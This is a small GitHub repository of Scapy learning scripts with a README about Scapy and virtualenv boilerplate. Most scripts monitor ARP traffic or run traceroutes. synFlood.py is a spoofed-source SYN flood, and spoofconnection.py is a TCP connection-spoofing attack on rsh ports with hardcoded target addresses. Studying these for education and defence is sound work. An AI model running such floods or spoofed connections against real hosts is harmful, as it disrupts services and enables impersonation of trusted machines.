├── .idea
├── misc.xml
├── modules.xml
└── python_hacks.iml
├── ARPtrafficmonitor.py
├── README.md
├── arppoision.py
├── ethical-hacking.pptx
├── psj05-biondi-en.pdf
├── scapy.pdf
├── shograph.py
├── spoofconnection.py
├── synFlood.py
├── traceroute.py
├── traceroute2.py
└── venv
├── bin
├── UTscapy
├── activate
├── activate.csh
├── activate.fish
├── activate_this.py
├── easy_install
├── easy_install-2.7
├── pip
├── pip2
├── pip2.7
├── python
├── python-config
├── python2
├── python2.7
├── scapy
└── wheel
├── include
└── python2.7
├── lib
└── python2.7
│ ├── UserDict.py
│ ├── _abcoll.py
│ ├── _weakrefset.py
│ ├── abc.py
│ ├── codecs.py
│ ├── copy_reg.py
│ ├── distutils
│ ├── __init__.py
│ └── distutils.cfg
│ ├── encodings
│ ├── fnmatch.py
│ ├── genericpath.py
│ ├── lib-dynload
│ ├── linecache.py
│ ├── locale.py
│ ├── no-global-site-packages.txt
│ ├── ntpath.py
│ ├── orig-prefix.txt
│ ├── os.py
│ ├── posixpath.py
│ ├── re.py
│ ├── site-packages
│ ├── easy_install.py
│ ├── pip-9.0.1.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── entry_points.txt
│ │ ├── metadata.json
│ │ └── top_level.txt
│ ├── pip
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ ├── _vendor
│ │ │ ├── __init__.py
│ │ │ ├── appdirs.py
│ │ │ ├── cachecontrol
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _cmd.py
│ │ │ │ ├── adapter.py
│ │ │ │ ├── cache.py
│ │ │ │ ├── caches
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── file_cache.py
│ │ │ │ │ └── redis_cache.py
│ │ │ │ ├── compat.py
│ │ │ │ ├── controller.py
│ │ │ │ ├── filewrapper.py
│ │ │ │ ├── heuristics.py
│ │ │ │ ├── serialize.py
│ │ │ │ └── wrapper.py
│ │ │ ├── colorama
│ │ │ │ ├── __init__.py
│ │ │ │ ├── ansi.py
│ │ │ │ ├── ansitowin32.py
│ │ │ │ ├── initialise.py
│ │ │ │ ├── win32.py
│ │ │ │ └── winterm.py
│ │ │ ├── distlib
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _backport
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── misc.py
│ │ │ │ │ ├── shutil.py
│ │ │ │ │ ├── sysconfig.cfg
│ │ │ │ │ ├── sysconfig.py
│ │ │ │ │ └── tarfile.py
│ │ │ │ ├── compat.py
│ │ │ │ ├── database.py
│ │ │ │ ├── index.py
│ │ │ │ ├── locators.py
│ │ │ │ ├── manifest.py
│ │ │ │ ├── markers.py
│ │ │ │ ├── metadata.py
│ │ │ │ ├── resources.py
│ │ │ │ ├── scripts.py
│ │ │ │ ├── t32.exe
│ │ │ │ ├── t64.exe
│ │ │ │ ├── util.py
│ │ │ │ ├── version.py
│ │ │ │ ├── w32.exe
│ │ │ │ ├── w64.exe
│ │ │ │ └── wheel.py
│ │ │ ├── distro.py
│ │ │ ├── html5lib
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _ihatexml.py
│ │ │ │ ├── _inputstream.py
│ │ │ │ ├── _tokenizer.py
│ │ │ │ ├── _trie
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── _base.py
│ │ │ │ │ ├── datrie.py
│ │ │ │ │ └── py.py
│ │ │ │ ├── _utils.py
│ │ │ │ ├── constants.py
│ │ │ │ ├── filters
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── alphabeticalattributes.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── inject_meta_charset.py
│ │ │ │ │ ├── lint.py
│ │ │ │ │ ├── optionaltags.py
│ │ │ │ │ ├── sanitizer.py
│ │ │ │ │ └── whitespace.py
│ │ │ │ ├── html5parser.py
│ │ │ │ ├── serializer.py
│ │ │ │ ├── treeadapters
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── genshi.py
│ │ │ │ │ └── sax.py
│ │ │ │ ├── treebuilders
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── dom.py
│ │ │ │ │ ├── etree.py
│ │ │ │ │ └── etree_lxml.py
│ │ │ │ └── treewalkers
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── base.py
│ │ │ │ │ ├── dom.py
│ │ │ │ │ ├── etree.py
│ │ │ │ │ ├── etree_lxml.py
│ │ │ │ │ └── genshi.py
│ │ │ ├── ipaddress.py
│ │ │ ├── lockfile
│ │ │ │ ├── __init__.py
│ │ │ │ ├── linklockfile.py
│ │ │ │ ├── mkdirlockfile.py
│ │ │ │ ├── pidlockfile.py
│ │ │ │ ├── sqlitelockfile.py
│ │ │ │ └── symlinklockfile.py
│ │ │ ├── ordereddict.py
│ │ │ ├── packaging
│ │ │ │ ├── __about__.py
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _compat.py
│ │ │ │ ├── _structures.py
│ │ │ │ ├── markers.py
│ │ │ │ ├── requirements.py
│ │ │ │ ├── specifiers.py
│ │ │ │ ├── utils.py
│ │ │ │ └── version.py
│ │ │ ├── pkg_resources
│ │ │ │ └── __init__.py
│ │ │ ├── progress
│ │ │ │ ├── __init__.py
│ │ │ │ ├── bar.py
│ │ │ │ ├── counter.py
│ │ │ │ ├── helpers.py
│ │ │ │ └── spinner.py
│ │ │ ├── pyparsing.py
│ │ │ ├── re-vendor.py
│ │ │ ├── requests
│ │ │ │ ├── __init__.py
│ │ │ │ ├── adapters.py
│ │ │ │ ├── api.py
│ │ │ │ ├── auth.py
│ │ │ │ ├── cacert.pem
│ │ │ │ ├── certs.py
│ │ │ │ ├── compat.py
│ │ │ │ ├── cookies.py
│ │ │ │ ├── exceptions.py
│ │ │ │ ├── hooks.py
│ │ │ │ ├── models.py
│ │ │ │ ├── packages
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── chardet
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── big5freq.py
│ │ │ │ │ │ ├── big5prober.py
│ │ │ │ │ │ ├── chardetect.py
│ │ │ │ │ │ ├── chardistribution.py
│ │ │ │ │ │ ├── charsetgroupprober.py
│ │ │ │ │ │ ├── charsetprober.py
│ │ │ │ │ │ ├── codingstatemachine.py
│ │ │ │ │ │ ├── compat.py
│ │ │ │ │ │ ├── constants.py
│ │ │ │ │ │ ├── cp949prober.py
│ │ │ │ │ │ ├── escprober.py
│ │ │ │ │ │ ├── escsm.py
│ │ │ │ │ │ ├── eucjpprober.py
│ │ │ │ │ │ ├── euckrfreq.py
│ │ │ │ │ │ ├── euckrprober.py
│ │ │ │ │ │ ├── euctwfreq.py
│ │ │ │ │ │ ├── euctwprober.py
│ │ │ │ │ │ ├── gb2312freq.py
│ │ │ │ │ │ ├── gb2312prober.py
│ │ │ │ │ │ ├── hebrewprober.py
│ │ │ │ │ │ ├── jisfreq.py
│ │ │ │ │ │ ├── jpcntx.py
│ │ │ │ │ │ ├── langbulgarianmodel.py
│ │ │ │ │ │ ├── langcyrillicmodel.py
│ │ │ │ │ │ ├── langgreekmodel.py
│ │ │ │ │ │ ├── langhebrewmodel.py
│ │ │ │ │ │ ├── langhungarianmodel.py
│ │ │ │ │ │ ├── langthaimodel.py
│ │ │ │ │ │ ├── latin1prober.py
│ │ │ │ │ │ ├── mbcharsetprober.py
│ │ │ │ │ │ ├── mbcsgroupprober.py
│ │ │ │ │ │ ├── mbcssm.py
│ │ │ │ │ │ ├── sbcharsetprober.py
│ │ │ │ │ │ ├── sbcsgroupprober.py
│ │ │ │ │ │ ├── sjisprober.py
│ │ │ │ │ │ ├── universaldetector.py
│ │ │ │ │ │ └── utf8prober.py
│ │ │ │ │ └── urllib3
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── _collections.py
│ │ │ │ │ │ ├── connection.py
│ │ │ │ │ │ ├── connectionpool.py
│ │ │ │ │ │ ├── contrib
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── appengine.py
│ │ │ │ │ │ ├── ntlmpool.py
│ │ │ │ │ │ ├── pyopenssl.py
│ │ │ │ │ │ └── socks.py
│ │ │ │ │ │ ├── exceptions.py
│ │ │ │ │ │ ├── fields.py
│ │ │ │ │ │ ├── filepost.py
│ │ │ │ │ │ ├── packages
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── ordered_dict.py
│ │ │ │ │ │ ├── six.py
│ │ │ │ │ │ └── ssl_match_hostname
│ │ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ │ └── _implementation.py
│ │ │ │ │ │ ├── poolmanager.py
│ │ │ │ │ │ ├── request.py
│ │ │ │ │ │ ├── response.py
│ │ │ │ │ │ └── util
│ │ │ │ │ │ ├── __init__.py
│ │ │ │ │ │ ├── connection.py
│ │ │ │ │ │ ├── request.py
│ │ │ │ │ │ ├── response.py
│ │ │ │ │ │ ├── retry.py
│ │ │ │ │ │ ├── ssl_.py
│ │ │ │ │ │ ├── timeout.py
│ │ │ │ │ │ └── url.py
│ │ │ │ ├── sessions.py
│ │ │ │ ├── status_codes.py
│ │ │ │ ├── structures.py
│ │ │ │ └── utils.py
│ │ │ ├── retrying.py
│ │ │ ├── six.py
│ │ │ └── webencodings
│ │ │ │ ├── __init__.py
│ │ │ │ ├── labels.py
│ │ │ │ ├── mklabels.py
│ │ │ │ ├── tests.py
│ │ │ │ └── x_user_defined.py
│ │ ├── basecommand.py
│ │ ├── baseparser.py
│ │ ├── cmdoptions.py
│ │ ├── commands
│ │ │ ├── __init__.py
│ │ │ ├── check.py
│ │ │ ├── completion.py
│ │ │ ├── download.py
│ │ │ ├── freeze.py
│ │ │ ├── hash.py
│ │ │ ├── help.py
│ │ │ ├── install.py
│ │ │ ├── list.py
│ │ │ ├── search.py
│ │ │ ├── show.py
│ │ │ ├── uninstall.py
│ │ │ └── wheel.py
│ │ ├── compat
│ │ │ ├── __init__.py
│ │ │ └── dictconfig.py
│ │ ├── download.py
│ │ ├── exceptions.py
│ │ ├── index.py
│ │ ├── locations.py
│ │ ├── models
│ │ │ ├── __init__.py
│ │ │ └── index.py
│ │ ├── operations
│ │ │ ├── __init__.py
│ │ │ ├── check.py
│ │ │ └── freeze.py
│ │ ├── pep425tags.py
│ │ ├── req
│ │ │ ├── __init__.py
│ │ │ ├── req_file.py
│ │ │ ├── req_install.py
│ │ │ ├── req_set.py
│ │ │ └── req_uninstall.py
│ │ ├── status_codes.py
│ │ ├── utils
│ │ │ ├── __init__.py
│ │ │ ├── appdirs.py
│ │ │ ├── build.py
│ │ │ ├── deprecation.py
│ │ │ ├── encoding.py
│ │ │ ├── filesystem.py
│ │ │ ├── glibc.py
│ │ │ ├── hashes.py
│ │ │ ├── logging.py
│ │ │ ├── outdated.py
│ │ │ ├── packaging.py
│ │ │ ├── setuptools_build.py
│ │ │ └── ui.py
│ │ ├── vcs
│ │ │ ├── __init__.py
│ │ │ ├── bazaar.py
│ │ │ ├── git.py
│ │ │ ├── mercurial.py
│ │ │ └── subversion.py
│ │ └── wheel.py
│ ├── pkg_resources
│ │ ├── __init__.py
│ │ ├── _vendor
│ │ │ ├── __init__.py
│ │ │ ├── appdirs.py
│ │ │ ├── packaging
│ │ │ │ ├── __about__.py
│ │ │ │ ├── __init__.py
│ │ │ │ ├── _compat.py
│ │ │ │ ├── _structures.py
│ │ │ │ ├── markers.py
│ │ │ │ ├── requirements.py
│ │ │ │ ├── specifiers.py
│ │ │ │ ├── utils.py
│ │ │ │ └── version.py
│ │ │ ├── pyparsing.py
│ │ │ └── six.py
│ │ ├── extern
│ │ │ └── __init__.py
│ │ └── py31compat.py
│ ├── scapy-2.3.3.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── metadata.json
│ │ └── top_level.txt
│ ├── scapy
│ │ ├── VERSION
│ │ ├── __init__.py
│ │ ├── all.py
│ │ ├── ansmachine.py
│ │ ├── arch
│ │ │ ├── __init__.py
│ │ │ ├── common.py
│ │ │ ├── consts.py
│ │ │ ├── linux.py
│ │ │ ├── pcapdnet.py
│ │ │ ├── solaris.py
│ │ │ ├── unix.py
│ │ │ ├── windows
│ │ │ │ ├── __init__.py
│ │ │ │ └── compatibility.py
│ │ │ └── winpcapy.py
│ │ ├── as_resolvers.py
│ │ ├── asn1
│ │ │ ├── __init__.py
│ │ │ ├── asn1.py
│ │ │ ├── ber.py
│ │ │ └── mib.py
│ │ ├── asn1fields.py
│ │ ├── asn1packet.py
│ │ ├── automaton.py
│ │ ├── autorun.py
│ │ ├── base_classes.py
│ │ ├── config.py
│ │ ├── contrib
│ │ │ ├── HomePlugAV.py
│ │ │ ├── __init__.py
│ │ │ ├── avs.py
│ │ │ ├── bgp.py
│ │ │ ├── carp.py
│ │ │ ├── cdp.py
│ │ │ ├── chdlc.py
│ │ │ ├── coap.py
│ │ │ ├── dtp.py
│ │ │ ├── eigrp.py
│ │ │ ├── etherip.py
│ │ │ ├── gsm_um.py
│ │ │ ├── gtp.py
│ │ │ ├── icmp_extensions.py
│ │ │ ├── igmp.py
│ │ │ ├── igmpv3.py
│ │ │ ├── ikev2.py
│ │ │ ├── isis.py
│ │ │ ├── ldp.py
│ │ │ ├── modbus.py
│ │ │ ├── mpls.py
│ │ │ ├── nsh.py
│ │ │ ├── openflow.py
│ │ │ ├── openflow3.py
│ │ │ ├── ospf.py
│ │ │ ├── pnio.py
│ │ │ ├── pnio_rtc.py
│ │ │ ├── ppi.py
│ │ │ ├── ppi_cace.py
│ │ │ ├── ppi_geotag.py
│ │ │ ├── ripng.py
│ │ │ ├── rsvp.py
│ │ │ ├── sebek.py
│ │ │ ├── send.py
│ │ │ ├── skinny.py
│ │ │ ├── spbm.py
│ │ │ ├── ubberlogger.py
│ │ │ ├── vqp.py
│ │ │ ├── vtp.py
│ │ │ └── wpa_eapol.py
│ │ ├── dadict.py
│ │ ├── data.py
│ │ ├── error.py
│ │ ├── fields.py
│ │ ├── layers
│ │ │ ├── __init__.py
│ │ │ ├── all.py
│ │ │ ├── bluetooth.py
│ │ │ ├── clns.py
│ │ │ ├── dhcp.py
│ │ │ ├── dhcp6.py
│ │ │ ├── dns.py
│ │ │ ├── dot11.py
│ │ │ ├── gprs.py
│ │ │ ├── hsrp.py
│ │ │ ├── inet.py
│ │ │ ├── inet6.py
│ │ │ ├── ipsec.py
│ │ │ ├── ir.py
│ │ │ ├── isakmp.py
│ │ │ ├── l2.py
│ │ │ ├── l2tp.py
│ │ │ ├── llmnr.py
│ │ │ ├── lltd.py
│ │ │ ├── mgcp.py
│ │ │ ├── mobileip.py
│ │ │ ├── netbios.py
│ │ │ ├── netflow.py
│ │ │ ├── ntp.py
│ │ │ ├── pflog.py
│ │ │ ├── ppp.py
│ │ │ ├── radius.py
│ │ │ ├── rip.py
│ │ │ ├── rtp.py
│ │ │ ├── sctp.py
│ │ │ ├── skinny.py
│ │ │ ├── smb.py
│ │ │ ├── snmp.py
│ │ │ ├── tftp.py
│ │ │ ├── tls
│ │ │ │ ├── __init__.py
│ │ │ │ ├── cert.py
│ │ │ │ └── crypto
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── curves.py
│ │ │ │ │ └── pkcs1.py
│ │ │ ├── vrrp.py
│ │ │ ├── vxlan.py
│ │ │ └── x509.py
│ │ ├── main.py
│ │ ├── modules
│ │ │ ├── __init__.py
│ │ │ ├── nmap.py
│ │ │ ├── p0f.py
│ │ │ ├── queso.py
│ │ │ └── voip.py
│ │ ├── packet.py
│ │ ├── pipetool.py
│ │ ├── plist.py
│ │ ├── pton_ntop.py
│ │ ├── route.py
│ │ ├── route6.py
│ │ ├── scapypipes.py
│ │ ├── sendrecv.py
│ │ ├── supersocket.py
│ │ ├── themes.py
│ │ ├── tools
│ │ │ ├── UTscapy.py
│ │ │ ├── __init__.py
│ │ │ └── check_asdis.py
│ │ ├── utils.py
│ │ ├── utils6.py
│ │ └── volatile.py
│ ├── setuptools-38.2.5.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── LICENSE.txt
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── dependency_links.txt
│ │ ├── entry_points.txt
│ │ ├── metadata.json
│ │ ├── top_level.txt
│ │ └── zip-safe
│ ├── setuptools
│ │ ├── __init__.py
│ │ ├── archive_util.py
│ │ ├── build_meta.py
│ │ ├── cli-32.exe
│ │ ├── cli-64.exe
│ │ ├── cli.exe
│ │ ├── command
│ │ │ ├── __init__.py
│ │ │ ├── alias.py
│ │ │ ├── bdist_egg.py
│ │ │ ├── bdist_rpm.py
│ │ │ ├── bdist_wininst.py
│ │ │ ├── build_clib.py
│ │ │ ├── build_ext.py
│ │ │ ├── build_py.py
│ │ │ ├── develop.py
│ │ │ ├── dist_info.py
│ │ │ ├── easy_install.py
│ │ │ ├── egg_info.py
│ │ │ ├── install.py
│ │ │ ├── install_egg_info.py
│ │ │ ├── install_lib.py
│ │ │ ├── install_scripts.py
│ │ │ ├── launcher manifest.xml
│ │ │ ├── py36compat.py
│ │ │ ├── register.py
│ │ │ ├── rotate.py
│ │ │ ├── saveopts.py
│ │ │ ├── sdist.py
│ │ │ ├── setopt.py
│ │ │ ├── test.py
│ │ │ ├── upload.py
│ │ │ └── upload_docs.py
│ │ ├── config.py
│ │ ├── dep_util.py
│ │ ├── depends.py
│ │ ├── dist.py
│ │ ├── extension.py
│ │ ├── extern
│ │ │ └── __init__.py
│ │ ├── glibc.py
│ │ ├── glob.py
│ │ ├── gui-32.exe
│ │ ├── gui-64.exe
│ │ ├── gui.exe
│ │ ├── launch.py
│ │ ├── lib2to3_ex.py
│ │ ├── monkey.py
│ │ ├── msvc.py
│ │ ├── namespaces.py
│ │ ├── package_index.py
│ │ ├── pep425tags.py
│ │ ├── py27compat.py
│ │ ├── py31compat.py
│ │ ├── py33compat.py
│ │ ├── py36compat.py
│ │ ├── sandbox.py
│ │ ├── script (dev).tmpl
│ │ ├── script.tmpl
│ │ ├── site-patch.py
│ │ ├── ssl_support.py
│ │ ├── unicode_utils.py
│ │ ├── version.py
│ │ ├── wheel.py
│ │ └── windows_support.py
│ ├── six-1.11.0.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── metadata.json
│ │ └── top_level.txt
│ ├── six.py
│ ├── srp-1.0.9.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── metadata.json
│ │ └── top_level.txt
│ ├── srp
│ │ ├── __init__.py
│ │ ├── _ctsrp.py
│ │ ├── _pysrp.py
│ │ ├── doc
│ │ │ ├── conf.py
│ │ │ ├── index.rst
│ │ │ └── srp.rst
│ │ └── test_srp.py
│ ├── wheel-0.30.0.dist-info
│ │ ├── DESCRIPTION.rst
│ │ ├── INSTALLER
│ │ ├── LICENSE.txt
│ │ ├── METADATA
│ │ ├── RECORD
│ │ ├── WHEEL
│ │ ├── entry_points.txt
│ │ ├── metadata.json
│ │ └── top_level.txt
│ └── wheel
│ │ ├── __init__.py
│ │ ├── __main__.py
│ │ ├── archive.py
│ │ ├── bdist_wheel.py
│ │ ├── decorator.py
│ │ ├── egg2wheel.py
│ │ ├── install.py
│ │ ├── metadata.py
│ │ ├── paths.py
│ │ ├── pep425tags.py
│ │ ├── pkginfo.py
│ │ ├── signatures
│ │ ├── __init__.py
│ │ ├── djbec.py
│ │ ├── ed25519py.py
│ │ └── keys.py
│ │ ├── tool
│ │ └── __init__.py
│ │ ├── util.py
│ │ └── wininst2wheel.py
│ ├── site.py
│ ├── sre.py
│ ├── sre_compile.py
│ ├── sre_constants.py
│ ├── sre_parse.py
│ ├── stat.py
│ ├── types.py
│ └── warnings.py
├── local
├── bin
├── include
└── lib
├── pip-selfcheck.json
└── share
└── man
└── man1
└── scapy.1.gz
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/python_hacks.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/ARPtrafficmonitor.py:
--------------------------------------------------------------------------------
1 |
2 | from scapy.layers.l2 import ARP, sniff
3 |
4 |
5 | def arp_monitor_callback(pkt):
6 | if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
7 | return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
8 | sniff(prn=arp_monitor_callback, filter="arp", store=0)
9 |
10 | # ARP traffic monitor
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # python_hacks
2 | scapy python
3 |
4 | Introduction
5 | About Scapy
6 | Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets.
7 | This capability allows construction of tools that can probe, scan or attack networks.
8 |
9 | In other words, Scapy is a powerful interactive packet manipulation program.
10 | It is able to forge or decode packets of a wide number of protocols, send them on the wire,
11 | capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning,
12 | tracerouting, probing, unit tests, attacks or network discovery. It can replace hping,
13 | arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark).
14 |
15 |
16 | Scapy also performs very well on a lot of other specific tasks that most other tools can’t handle,
17 | like sending invalid frames, injecting your own 802.11 frames, combining techniques
18 | (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, …), etc.
19 |
--------------------------------------------------------------------------------
/arppoision.py:
--------------------------------------------------------------------------------
1 |
2 | from scapy.layers.l2 import ARP, Ether, sniff
3 |
4 | DB = {}
5 | def scarpwatch_callback(pkt):
6 | if ARP in pkt:
7 | ip,mac = pkt[ARP].psrc, pkt[ARP].hwsrc
8 | if ip in DB:
9 | if mac != DB[ip]:
10 | if Ether in pkt:
11 | target = pkt[Ether].dst
12 | else:
13 | target = "%s?" % pkt[ARP].pdst
14 | return "poisoning attack: target=%s victim=%s attacker=%s" % (target, ip, mac)
15 | else:
16 | DB[ip]=mac
17 | return "Oh !!!! gathering info from router %s=%s" % (mac,ip)
18 |
19 | sniff(store=0, prn=scarpwatch_callback)
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ethical-hacking.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/ethical-hacking.pptx
--------------------------------------------------------------------------------
/psj05-biondi-en.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/psj05-biondi-en.pdf
--------------------------------------------------------------------------------
/scapy.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/scapy.pdf
--------------------------------------------------------------------------------
/shograph.py:
--------------------------------------------------------------------------------
1 | from scapy.layers.inet import traceroute
2 |
3 | res4,unans=traceroute(["127.0.0.1", "10.0.2.1", "192.168.0.1"])
4 | res4.show( )
5 | res4.graph()
--------------------------------------------------------------------------------
/spoofconnection.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 | from scapy.layers.inet import IP, TCP
3 |
4 |
5 | def spoofConn(src, tgt, ack):
6 | IPlayer = IP(src=src, dst=tgt)
7 | TCPlayer = TCP(sport=513, dport=514)
8 | synPkt = IPlayer / TCPlayer
9 | send(synPkt)
10 | IPlayer = IP(src=src, dst=tgt)
11 | TCPlayer = TCP(sport=513, dport=514, ack=ack)
12 | ackPkt = IPlayer / TCPlayer
13 | send(ackPkt)
14 | src = "192.168.0.107"
15 | tgt = "192.168.0.104"
16 | seqNum = 2024371201
17 | spoofConn(src,tgt,seqNum)
--------------------------------------------------------------------------------
/synFlood.py:
--------------------------------------------------------------------------------
1 | from scapy.layers.inet import IP, TCP, send
2 |
3 |
4 | def synFlood(src, tgt):
5 | for sport in range(1024,65535):
6 | IPlayer = IP(src=src, dst=tgt)
7 | TCPlayer = TCP(sport=sport, dport=513)
8 | pkt = IPlayer / TCPlayer
9 | send(pkt)
10 |
11 | src = "10.1.1.2"
12 | tgt = "192.168.1.3"
13 | synFlood(src,tgt)
14 |
--------------------------------------------------------------------------------
/traceroute.py:
--------------------------------------------------------------------------------
1 | from scapy.layers.inet import traceroute
2 |
3 | res,unans = traceroute("8.8.8.8", dport=443, maxttl=5)
--------------------------------------------------------------------------------
/traceroute2.py:
--------------------------------------------------------------------------------
1 | from scapy.layers.inet import traceroute
2 |
3 | res4,unans=traceroute(["www.google.com", "www.facebook.com", "www.yahoo.com"])
4 | res4.show( )
--------------------------------------------------------------------------------
/venv/bin/UTscapy:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python
2 |
3 |
4 | #############################################################################
5 | ## ##
6 | ## UTscapy.py --- Unit Tests with scapy ##
7 | ## see http://www.secdev.org/projects/UTscapy/ ##
8 | ## for more informations ##
9 | ## ##
10 | ## Copyright (C) 2005 Philippe Biondi ##
11 | ## ##
12 | ## This program is free software; you can redistribute it and/or modify it ##
13 | ## under the terms of the GNU General Public License version 2 as ##
14 | ## published by the Free Software Foundation. ##
15 | ## ##
16 | ## This program is distributed in the hope that it will be useful, but ##
17 | ## WITHOUT ANY WARRANTY; without even the implied warranty of ##
18 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
19 | ## General Public License for more details. ##
20 | ## ##
21 | #############################################################################
22 |
23 |
24 | import sys
25 | from scapy.tools.UTscapy import main
26 |
27 | main(sys.argv[1:])
28 |
--------------------------------------------------------------------------------
/venv/bin/activate:
--------------------------------------------------------------------------------
1 | # This file must be used with "source bin/activate" *from bash*
2 | # you cannot run it directly
3 |
4 | deactivate () {
5 | unset -f pydoc >/dev/null 2>&1
6 |
7 | # reset old environment variables
8 | # ! [ -z ${VAR+_} ] returns true if VAR is declared at all
9 | if ! [ -z "${_OLD_VIRTUAL_PATH+_}" ] ; then
10 | PATH="$_OLD_VIRTUAL_PATH"
11 | export PATH
12 | unset _OLD_VIRTUAL_PATH
13 | fi
14 | if ! [ -z "${_OLD_VIRTUAL_PYTHONHOME+_}" ] ; then
15 | PYTHONHOME="$_OLD_VIRTUAL_PYTHONHOME"
16 | export PYTHONHOME
17 | unset _OLD_VIRTUAL_PYTHONHOME
18 | fi
19 |
20 | # This should detect bash and zsh, which have a hash command that must
21 | # be called to get it to forget past commands. Without forgetting
22 | # past commands the $PATH changes we made may not be respected
23 | if [ -n "${BASH-}" ] || [ -n "${ZSH_VERSION-}" ] ; then
24 | hash -r 2>/dev/null
25 | fi
26 |
27 | if ! [ -z "${_OLD_VIRTUAL_PS1+_}" ] ; then
28 | PS1="$_OLD_VIRTUAL_PS1"
29 | export PS1
30 | unset _OLD_VIRTUAL_PS1
31 | fi
32 |
33 | unset VIRTUAL_ENV
34 | if [ ! "${1-}" = "nondestructive" ] ; then
35 | # Self destruct!
36 | unset -f deactivate
37 | fi
38 | }
39 |
40 | # unset irrelevant variables
41 | deactivate nondestructive
42 |
43 | VIRTUAL_ENV="/root/PycharmProjects/python_hacks/venv"
44 | export VIRTUAL_ENV
45 |
46 | _OLD_VIRTUAL_PATH="$PATH"
47 | PATH="$VIRTUAL_ENV/bin:$PATH"
48 | export PATH
49 |
50 | # unset PYTHONHOME if set
51 | if ! [ -z "${PYTHONHOME+_}" ] ; then
52 | _OLD_VIRTUAL_PYTHONHOME="$PYTHONHOME"
53 | unset PYTHONHOME
54 | fi
55 |
56 | if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] ; then
57 | _OLD_VIRTUAL_PS1="$PS1"
58 | if [ "x" != x ] ; then
59 | PS1="$PS1"
60 | else
61 | PS1="(`basename \"$VIRTUAL_ENV\"`) $PS1"
62 | fi
63 | export PS1
64 | fi
65 |
66 | # Make sure to unalias pydoc if it's already there
67 | alias pydoc 2>/dev/null >/dev/null && unalias pydoc
68 |
69 | pydoc () {
70 | python -m pydoc "$@"
71 | }
72 |
73 | # This should detect bash and zsh, which have a hash command that must
74 | # be called to get it to forget past commands. Without forgetting
75 | # past commands the $PATH changes we made may not be respected
76 | if [ -n "${BASH-}" ] || [ -n "${ZSH_VERSION-}" ] ; then
77 | hash -r 2>/dev/null
78 | fi
79 |
--------------------------------------------------------------------------------
/venv/bin/activate.csh:
--------------------------------------------------------------------------------
1 | # This file must be used with "source bin/activate.csh" *from csh*.
2 | # You cannot run it directly.
3 | # Created by Davide Di Blasi .
4 |
5 | alias deactivate 'test $?_OLD_VIRTUAL_PATH != 0 && setenv PATH "$_OLD_VIRTUAL_PATH" && unset _OLD_VIRTUAL_PATH; rehash; test $?_OLD_VIRTUAL_PROMPT != 0 && set prompt="$_OLD_VIRTUAL_PROMPT" && unset _OLD_VIRTUAL_PROMPT; unsetenv VIRTUAL_ENV; test "\!:*" != "nondestructive" && unalias deactivate && unalias pydoc'
6 |
7 | # Unset irrelevant variables.
8 | deactivate nondestructive
9 |
10 | setenv VIRTUAL_ENV "/root/PycharmProjects/python_hacks/venv"
11 |
12 | set _OLD_VIRTUAL_PATH="$PATH"
13 | setenv PATH "$VIRTUAL_ENV/bin:$PATH"
14 |
15 |
16 |
